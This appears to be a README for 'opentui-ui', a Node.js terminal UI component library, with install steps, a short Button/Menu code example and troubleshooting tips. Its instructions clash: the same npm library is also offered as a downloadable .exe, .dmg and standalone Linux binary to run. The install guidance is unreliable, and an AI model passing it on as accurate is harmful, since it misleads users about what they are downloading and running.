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🎨 opentui-ui - A Simple UI Library for Terminals

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🚀 Getting Started

Welcome! This guide will help you download and run the opentui-ui, a user-friendly UI component library for terminal applications. Whether you're looking to enhance your terminal's look or create a new project, you're in the right place.

💻 System Requirements

To run opentui-ui, you'll need:

• A modern operating system (Windows, macOS, or Linux)
• At least 512 MB of RAM
• A terminal or command prompt capable of executing Node.js applications

🌐 Features

opentui-ui offers a variety of components to make your terminal applications visually appealing and easier to navigate:

• Buttons and Menus: Create interactive buttons and menus for user choices.
• Forms and Inputs: Collect user information easily.
• Layouts: Organize your components neatly on the screen.
• Themes: Customize the appearance with various themes.

📦 Download & Install

To get opentui-ui, visit the Releases page. This is where you'll find the latest version ready for download.

Steps to Download

1. Click on the Releases page.

2. Look for the latest version at the top of the page.

3. Choose the file that best fits your operating system:

   • For Windows, select opentui-ui-win.exe.
   • For macOS, select opentui-ui-mac.dmg.
   • For Linux, select opentui-ui-linux.tar.gz.

4. Click on the file to download it.

Installing the Application

After downloading, the installation process will differ slightly depending on your OS:

Windows

1. Locate the downloaded opentui-ui-win.exe file in your Downloads folder.
2. Double-click the file to run it.
3. Follow the on-screen instructions to complete the installation.

macOS

1. Open the .dmg file you downloaded.
2. Drag the opentui-ui icon into your Applications folder.
3. You can now find opentui-ui in your Applications list.

Linux

1. Extract the downloaded opentui-ui-linux.tar.gz file.
2. Open your terminal.
3. Navigate to the folder where you extracted the files.
4. Run the application using the command ./opentui-ui.

📖 Using opentui-ui

Once you have installed opentui-ui, you can start building your terminal applications. Here are the steps to create your first project:

1. Open your terminal.

2. Create a new directory for your project:

   mkdir my-first-project
   cd my-first-project

3. Initialize a new Node.js project:

   npm init -y

4. Install opentui-ui using npm:

   npm install opentui-ui

5. Create a new file named app.js:

   touch app.js

6. Open app.js in your favorite text editor and add the following code to start using the library:

   const { Button, Menu } = require('opentui-ui');
   
   const myButton = new Button('Click Me!');
   myButton.onClick(() => {
       console.log('Button was clicked!');
   });
   
   const myMenu = new Menu(['Option 1', 'Option 2']);
   myMenu.onSelect((option) => {
       console.log(`You selected: ${option}`);
   });

7. Run your app:

   node app.js

You have now successfully created and run a simple application with opentui-ui!

🛠️ Troubleshooting

If you encounter any issues during installation or usage, here are some common problems and solutions:

• Application won’t start: Ensure you have installed all dependencies by running npm install.
• Download issues: Double-check your internet connection and try downloading the file again.
• Permission errors: On macOS or Linux, you may need to grant execute permissions using:

  chmod +x opentui-ui

🌟 Community and Support

If you have questions or need help, feel free to reach out:

• Issues Page: Report any problems on the Issues section of this repository.
• Discussion Forum: Engage with other users in discussions about opentui-ui.

We hope you enjoy using opentui-ui! For further information, visit our Documentation for more advanced features and usage examples.